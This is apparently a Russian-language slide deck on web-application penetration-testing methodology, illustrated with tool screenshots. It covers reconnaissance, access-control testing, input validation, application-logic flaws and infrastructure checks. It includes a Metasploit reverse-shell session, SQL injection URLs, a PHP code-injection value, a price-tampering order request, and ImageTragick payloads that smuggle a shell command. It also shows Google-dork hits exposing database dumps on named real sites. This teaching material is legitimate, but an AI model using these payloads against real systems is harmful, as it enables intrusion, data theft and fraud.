



МЕТОДОЛОГИЯ ТЕСТИРОВАНИЯ WEB-ПРИЛОЖЕНИЯ

ИНСТРУМЕНТАРИЙ

```
root@kali: ~  
File Edit View Search Terminal Help  
Save your shells from AV! Upgrade to advanced AV evasion using dynamic  
exe templates with Metasploit Pro -- type 'go_pro' to launch it now.  
  
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]  
+ -- --[ 1062 exploits - 659 auxiliary - 178 post  
+ -- --[ 275 payloads - 28 encoders - 8 nops  
  
msf > use multi/handler  
msf exploit(handler) > set LHOST 10.1.1.20  
LHOST => 10.1.1.20  
msf exploit(handler) > set LPORT 8080  
LPORT => 8080  
msf exploit(handler) > exploit  
  
[*] Started reverse handler on 10.1.1.20:8080  
[*] Starting the payload handler...  
[*] Sending stage (752128 bytes) to 10.1.1.10  
[*] Meterpreter session 1 opened (10.1.1.20:8080 -> 10.1.1.10:49158) at 2013-08-23 03:39:19 -0400  
  
meterpreter > |
```

Pentest Box
SQLmap
Dirsearch
Nmap
Burp Suite

Kali Linux

BlackArch

Samurai Web Security Framework

```
cmd.exe powershell.exe  
C:\Users\CSI\Desktop  
> wpscan  
  
WpScan  
  
WordPress Security Scanner by the WpScan Team  
Version 2.9  
Sponsored by Sucuri - https://sucuri.net  
@_WPScan_, @ethicalhack3r, @erwan_lr, pvd1, @_FireFart_  
  
Examples :  
  
-Further help ...  
ruby E:/PENTESTBOX/bin/WebApplications/wpscan/wpscan.rb --help  
  
-Do 'non-intrusive' checks ...  
ruby E:/PENTESTBOX/bin/WebApplications/wpscan/wpscan.rb --url www.example.co
```

КАТЕГОРИИ ТЕСТИРОВАНИЯ

- Разведка
- тестирование контроля доступа
- проверка входных данных
- тестирование логики приложения
- изучение инфраструктуры приложения
- прочие тесты.

1. РАЗВЕДКА

Пассивная:

- Google dorks
- Waybackmachine.org
- Ipinfo.io
- 2ip.ru
- Соц. сети, вакансии

Активная:

- Nmap
- Dirsearch
- Nikto, Acunetix, Vega
- Whatweb
- Wpscan,
- Исходный код
- Robots.txt

GOOGLE DORKS

Google

Все Картинки Новости Покупки Карты Ещё Настройки Инструменты

Результатов: примерно 292 000 (0,21 сек.)

Главная страница - Смоленский филиал МИИТ

smolensk.miit.ru/sj/

Joomla! - the dynamic portal engine and content management system.

МИИТ | About the university | Structure

asu.miit.ru/

Сведения об образовательной организации · Mission · МИИТ - 120 лет · МИИТ сегодня · Licenses and accreditation · ОП к аккредитации 2016 · History ...

Sign In - Oracle Beehive

<https://beehive.miit.ru/zim>

Sign In Enter your Single S

Unauthorized use of this sit

PDF] Аудиофайлы в библиотеке

library.miit.ru/photo/rare_

Page 1. Аудиофайлы в библиотеке

656.2. А 92. Аудиофайлы в библиотеке

PDF] Аудиофайлы в библиотеке

library.miit.ru/photo/rare_

Page 1. Аудиофайлы в библиотеке

656.2. А 92. Аудиофайлы в библиотеке

Google

Все Картинки Новости Покупки Карты Ещё Настройки Инструменты

Результатов: примерно 2 100 000 (0,33 сек.)

Где Впрочем, даже не столь важно, по какому поводу будет ...

onebeach.ru/adminer.sql

Adminer 3.7.1 MySQL dump SET NAMES utf8; SET foreign_key_checks = 0; SET time_zone = '+03:00'; SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'; DROP ...

Sylcom - Итальянская мебель

francescomobili.ru/dump.sql

140 €. "2011 A2 FU" Sylcom. Цена: По запросу. "2010 A2 FU" Sylcom. S" Sylcom. Цена: По запросу.

434 КВФевраль 12, 2015 22:27:35 - SpiritCloud ...

[1601_22.sql](#)

Церковь «Филадельфия» | Ижевск ...

▼

ости · Служения · Проповеди · Миссионерство · Свидетельства · ish ...

р Креативной Психологии

[jfi_iblocks.sql](#)

ersion 3.3.9.2 -- http://www.phpmyadmin.net -- Хост: creativnos.mysql -- 1 г, 19:07 -- Версия ...

Google

Все Картинки Новости Покупки Карты Ещё Настройки Инструменты

Результатов: 1 (0,11 сек.)

DEVELOPERS */ Frontend Developer: Vyacheslav Slinko Contact ...

www.sberbank.ru/common/humans.txt - Перевести эту страницу

```
www.sberbank.ru/commo x +
← Я http://www.sberbank.ru/common/humans.txt
/* DEVELOPERS */
Frontend Developer: Vyacheslav Slinko
Contact: vyacheslav.slinko@gmail.com

/* SITE */
Doctype: HTML5
Libraries: React, when, celled, jQuery, jQuery UI, Selectize.js, spin.js
Technologies: Grunt, Git, CoffeeScript, Stylus, Jade, browserify
IDE: Sublime Text 2, Vim
```

АКТИВНОЕ СКАНИРОВАНИЕ

```
C:\Users\leksadin\Desktop  
> wpscan http://www.██████████.ru
```



WordPress Security Scanner by the WPScan Team
Version 2.9.1

Sponsored by Sucuri - <https://sucuri.net>
@_WPScan_, @ethicalhack3r, @erwan_lr, pvd1, @_FireFart_

```
[+] URL: http://www.██████████.ru/  
[+] Started: Thu Mar 30 01:58:28 2017
```

```
[+] robots.txt available under: 'http://www.██████████.ru/robots.txt'  
[+] Interesting entry from robots.txt: http://www.██████████.ru/wp-login.php  
[+] Interesting entry from robots.txt: http://www.██████████.ru/wp-register.php  
[+] Interesting entry from robots.txt: http://www.██████████.ru/feed/
```

```
Reference: https://wpvulndb.com/vulnerabilities/6012  
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5296  
[+] Fixed in: 3.0.2
```

```
[+] Title: WordPress 2.0 - 3.0 Remote Authenticated Administrator Add Action Bypass  
Reference: https://wpvulndb.com/vulnerabilities/6013  
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5297  
[+] Fixed in: 3.0
```

```
[+] Title: WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass  
Reference: https://wpvulndb.com/vulnerabilities/6019  
Reference: http://www.securityfocus.com/bid/35584/
```

```
[+] Title: WordPress <= 4.0 - Long Password Denial of Service (DoS)  
Reference: https://wpvulndb.com/vulnerabilities/7681  
Reference: http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-4-0-1/  
Reference: https://wordpress.org/news/2014/11/wordpress-4-0-1/  
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9034  
Reference: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_long_password_dos  
Reference: https://www.exploit-db.com/exploits/35413/  
Reference: https://www.exploit-db.com/exploits/35414/  
[+] Fixed in: 4.0.1
```

```
[+] Title: WordPress <= 4.0 - Server Side Request Forgery (SSRF)  
Reference: https://wpvulndb.com/vulnerabilities/7696  
Reference: http://www.securityfocus.com/bid/71234/  
Reference: https://core.trac.wordpress.org/changeset/30444  
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9038  
[+] Fixed in: 4.0.1
```

```
[+] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default  
Reference: https://wpvulndb.com/vulnerabilities/8719  
Reference: https://github.com/WordPress/WordPress/commit/061e8788814ac87706d8b95688df276fe3c85  
Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release  
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5491  
[+] Fixed in: 4.7.1
```

```
C:\Users\leksadin\Desktop  
> nmap login.██████████.ru -sV -Pn -p 1-65535
```

```
Starting Nmap 7.10 ( https://nmap.org ) at 2017-03-30 02:08 RTZ 2 (ceia)  
Nmap scan report for login.██████████.ru (195.245.205.104)  
Host is up (0.023s latency).
```

```
Not shown: 65523 filtered ports  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp?           
25/tcp    open  smtp           
80/tcp    open  http           
143/tcp   open  imap?          
443/tcp   open  https?         
465/tcp   open  ssl/smtp       
993/tcp   open  ssl/imap?      
5222/tcp  open  xmpp-client?   
5223/tcp  closed hpvrtgrp     
5269/tcp  open    
21401/tcp open    
21451/tcp open  
```

```
view-source:http://www.██████████.au/internal/  
87 .tc-rectangular-thumb {  
88   max-height: 250px;  
89   height: 250px  
90 }  
91  
92 .single .tc-rectangular-thumb {  
93   max-height: 250px;  
94   height: 250px  
95 }  
96  
97  
98 </style>  
99 <link rel='stylesheet' id='customizr-style-css' href='http://www.elite-electronics.com.au/internal/wp-content/themes/  
100 <link rel='stylesheet' id='fancyboxcss-css' href='http://www.elite-electronics.com.au/internal/wp-content/themes/cus  
101 <link rel='stylesheet' id='ws-plugin-s2member-css' href='http://www.elite-electronics.com.au/internal/wp-content/pl  
102 <link rel='stylesheet' id='wp-members-css' href='http://www.elite-electronics.com.au/internal/wp-content/plugins/wp-  
103 <script type='text/javascript' src='http://www.elite-electronics.com.au/internal/wp-includes/js/jquery/jquery.js?ver=  
104 <script type='text/javascript' src='http://www.elite-electronics.com.au/internal/wp-includes/js/jquery/jquery-migrate  
105 <script type='text/javascript'>  
106 /*  */<br/>107 var TParams =<br/>108 {<br/>109   "FancyboxState": "1",<br/>110   "FancyboxAutoscale": "1",<br/>111   "SliderName": "0",<br/>112   "SliderDelay": "5000",<br/>113   "SliderHover": "1",<br/>114   "SmoothScroll": "1",<br/>115   "LeftSidebarClass": ".span3.left.tc-sidebar",<br/>116   "RightSidebarClass": ".span3.right.tc-<br/>117   sidebar",<br/>118   "LoadModernizr": "1",<br/>119   "stickyCustomOffset": "0",<br/>120   "stickyHeader": "1",<br/>121   "dropdownToViewport": "",<br/>122   "timerOnScrollAllBro<br/>123   ed": "1",<br/>124   "dropcapWhere": {"post": "", "page": "1"},<br/>125   "dropcapMinWords": "50",<br/>126   "skipSelectors": {"tags": ["IMG", "IFRAME", "H1", "H2<br/>127   " ] }<br/>128 }<br/>129 /* ]]] */<br/>130 &lt;/script&gt;<br/>131 &lt;script type='text/javascript' src='http://www.elite-electronics.com.au/internal/wp-content/themes/customizr/inc/asse<br/>132 &lt;link rel='EditURI' type='application/rsd+xml' title='RSD' href='http://www.elite-electronics.com.au/internal/xmlrpc.<br/>133 &lt;link rel='wlanifest' type='application/wlanifest+xml' href='http://www.elite-electronics.com.au/internal/wp-inc<br/>134 &lt;meta name='generator' content='WordPress 4.3.6' /&gt;<br/>135 &lt;!-- WP-Members version 2.9.9.1, available at http://rocketgeek.com/wp-members --&gt;</pre></div>
```

2. ТЕСТИРОВАНИЕ КОНТРОЛЯ ДОСТУПА

- Аутентификация
- Управление сессиями
- Контроль доступа

Index of /

Name	Last modified	Size	Description
 Parent Directory		-	
 1.php	2015-02-02 17:56	3.9K	
 2.php	2016-04-04 08:02	19K	
 56.php	2016-05-25 12:46	5.5K	
 vhod.txt	2017-03-30 03:10	1.0M	
 write.html	2017-03-30 03:10	4.8M	

```
8 <script language="javascript">
9 <!--//
0 /*This Script allows people to enter by using a form that asks for a
1 UserID and Password*/
2 function pasuser(form) {
3 if (form.id.value=="charter") {
4 if (form.pass.value=="charter") {
5 location="new.php"
6 } else {
7 alert("Invalid Password")
8 }
9 } else { alert("Invalid UserID")
0 }
1 }
2 //-->
3 </script>
```

Username

Password

Login

3. ПРОВЕРКА ВХОДНЫХ ДАННЫХ

Фаззинг – методика тестирования, при которой на вход программы подаются невалидные, непредусмотренные или случайные данные.

Warning: trim() expects parameter 1 to be string, array given in /var/www/ssdemo/releases/7b8e6524dc1bbb1f574e64baf2d95e64bca768ea/framework/core/Core.php on line 99

http://[redacted]/News.php?ChapterId=-96%27+and+extractvalue(1,concat(0x3a,(version())))+--+

Ошибка доступа к базе данных в строке12 XPATH syntax error: ':5.1.67-0ubuntu0.10.04.1'

?????: ?????????????? ?????????? ?

?????: ?????????????? ?????????? ?????????? ?????????? ??????????: 500 Internal Server Error
????????? ??????????
?????????: 500 Internal Server
Error

http://[redacted]/gallery.php?category=1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7+--+

Gallery:
5.6.17:zilair:root@localhost

- Тестирование SQL-инъекций
- Тестирование XSS-уязвимостей
- Тестирование инъекций в HTTP заголовках
- Тестирование переадресаций
- Тестирование инъекций команд ОС
- Тестирование уязвимости Path Traversal
- Тестирование HTML/JavaScript-инъекций
- Тестирование RFI и LFI
- Тестирование SMTP-инъекций
- Тестирование SOAP-инъекций
- Тестирование LDAP-инъекций
- Тестирование XPath-инъекций

4. ТЕСТИРОВАНИЕ ЛОГИКИ ПРИЛОЖЕНИЯ



Vulnerability: AI Injection

Elements Console Sources Network Timeline Profiles Application Security Audits

```
<!DOCTYPE html>
<html lang="en">
<head>...</head>
<body>
  <ul id="main-header" class="nav nav-pills navbar-inverse">...</ul>
  <div class="container">
    ::before
    <h1 class="text-center">The Quick Web Calculator</h1>
    <div class="col-md-6 text-center col-md-offset-3">
      <form class="form-inline" method="POST" action">
        <input size="5" type="text" name="operand1" class="operand">
        <select name="operator">
          <option value="+2;phpinfo;2+">+</option> == $0
          <option value="*">*</option>
          <option value="/">/</option>
          <option value="-">-</option>
          <option value="%">%</option>
        </select>
        <input size="5" type="text" name="operand2" class="operand">
        <input type="submit" class="btn btn-sm btn-primary" value="Calculate">
      </form>
    </div>
    ::after
  </div>
  <div style="margin-top: 100px;" class="col-md-6 col-md-offset-3 alert alert-info">...</div>
</html>
body div.container div.col-md-6.text-center.col-md-offset-3 form.form-inline select option
```

Configuration

Apache Version	Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.6
Apache API Version	20120211
Server Administrator	postmaster@localhost
Hostname/Port	localhost:8079
Max Requests	Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts	Connection: 300 - Keep-Alive: 5
Virtual Server	No
Server Root	E:/Programs/XAMPP/apache
Loaded Modules	core mod_win32 mpm_winnt http_core mod_so mod_access_compat mod_actions mod_alias mod_allowmethods mod_asis mod_auth_basic mod_auth_core mod_auth_file mod_authz_core mod_authz_groupfile mod_authz_host mod_authz_user mod_autoindex mod_cgi mod_dav_lock mod_dir mod_env mod_headers mod_include mod_info mod_isapi mod_log_config mod_cache_disk mod_mime mod_negotiation mod_proxy mod_proxy_ajp mod_rewrite mod_setenvif mod_socache_shmcb

Vulnerability: AI Injection

ОШИБКА В ЛОГИКЕ ПРИЛОЖЕНИЯ – ЗАКАЗЫВАЕМ БЕСПЛАТНУЮ ПИЦЦУ =)

```
POST /oplata.html HTTP/1.1
Host: www.pizza.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://yahoo.com/{{2+2}}
Content-Length: 262
Cookie:

streetId=&streetName=qwqwqw&persons=1&change=500&name=qw&phone=%2B38(111)1111111&email=mm%40mm.mm&t-ord=&com
ment=&promocode=&agreement=on&check-ord=online&order%5B0%5D%5Bid%5D=1162&order%5B0%5D%5Bamount%5D=2&order%5B
0%5D%5Btype%5D=rollyi&price=210&finalPrice=30
```

5. ИЗУЧЕНИЕ ИНФРАСТРУКТУРЫ ПРИЛОЖЕНИЯ

- Тестирование разделения в среде виртуального хостинга
- Тестирование уязвимостей на сервере
- Проверка стандартных учётных записей
- Определение стандартного контента на сайте
- Определение опасных HTTP-методов
- Тестирование прокси

Lookup Connected Domains

[Lookup tips](#) ?

188.212.255.233

LOOKUP

Example: 65.55.53.233 or 64.233.161.%

Reverse IP Lookup Results — more than 3 domains hosted on IP address 188.212.255.233

Domain	View Whois Record
1. ditaly.ro	
2. ecoreca.com	
3. ecoreca.ro	

AND additional domains...

EXPLOIT DATABASE

[Home](#) [Exploits](#) [Shellcode](#) [Papers](#) [Google Hacking Database](#) [Submit](#) [Search](#)

wordpress 4 5

Я не робот



Конфиденциальность - Условия использования

SEARCH

MORE OPTIONS

20 total entries

Date	D	A	V	Title	Platform	Author
2016-12-16				WordPress Plugin Quiz And Survey Master 4.5.4 / 4.7.8 - Cross-Site Request Forgery	PHP	dxw
2016-08-22				WordPress 4.5.3 - Directory Traversal / Denial of Service	PHP	Yorick Koster
2016-08-05				WordPress Plugin Count Per Day 3.5.4 - Persistent Cross-Site Scripting	PHP	Julien Rentrop
2016-03-10				WordPress Plugin Best Web Soft Captcha 4.1.5 - Multiple Vulnerabilities	PHP	Colette Cha...
2015-05-20		-		WordPress Plugin FeedWordPress 2015.0426 - SQL Injection	PHP	Adrián M. F.
2015-04-21		-		WordPress Plugin Tune Library 1.5.4 - SQL Injection	PHP	Hannes Trunde
2015-04-13		-		WordPress Plugin Duplicator 0.5.14 - SQL Injection / Cross-Site Request Forgery	PHP	Claudio Viv...
2015-04-02		-		WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload	PHP	ITAS Team
2014-12-02				WordPress Plugin Nextend Facebook Connect 1.4.59 - Cross-Site Scripting	PHP	Kacper Szurek
2014-11-25				WordPress Plugin Google Document Embedder 2.5.14 - SQL Injection	PHP	Kacper Szurek
2014-06-02				WordPress Plugin Participants Database 1.5.4.8 - SQL Injection	PHP	Yarubo Rese...

← Я http://ftp. ru/

Index of /

./			
01. Регистраторы/	07-Feb-2017 11:03	-	-
02. Камеры/	09-Jan-2017 14:57	-	-
03. Камеры 4 серии/	28-Mar-2017 09:25	-	-
04. Скоростные поворотные >...>	16-Dec-2016 13:35	-	-
05. HD-TVI/	18-Nov-2016 14:10	-	-
06. HiWatch/	15-Jan-2016 08:53	-	-
07. Клавиатуры/	03-Jun-2016 09:53	-	-
08. Инструкции/	20-Mar-2017 08:50	-	-
09. Утилиты/	16-Feb-2017 10:30	-	-
10. Маркетинговые материалы/	31-Mar-2016 08:10	-	-
11. iVMS-5200/	23-Oct-2016 12:53	-	-
12. Аксессуары/	24-Mar-2017 12:25	-	-
13. Презентации/	29-Mar-2017 18:00	-	-
14. EZVIZ/	25-Nov-2016 22:07	-	-
15. СКУД/	14-Jul-2016 10:06	-	-

6. ПРОЧИЕ ТЕСТЫ

- Тестирование DOM-модели
- Проверка наличия слабых SSL-шифров
- Анализ HTTP-заголовков
- Тестирование знаменитых уязвимостей

Heartbleed test

Enter the hostname of a server to test it for CVE-2014-0160.

Go [here](#) for all your Heartbleed information needs.

exploit.mvg

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg);|ls "-la)'
pop graphic-context
```

exploit.svg

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg";|ls &quot;;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
```

The background is a dark green gradient. In the four corners, there are decorative white line-art patterns resembling circuit traces or neural network connections. These patterns consist of straight lines of varying lengths and angles, ending in small white circles.

СПАСИБО ЗА ВНИМАНИЕ!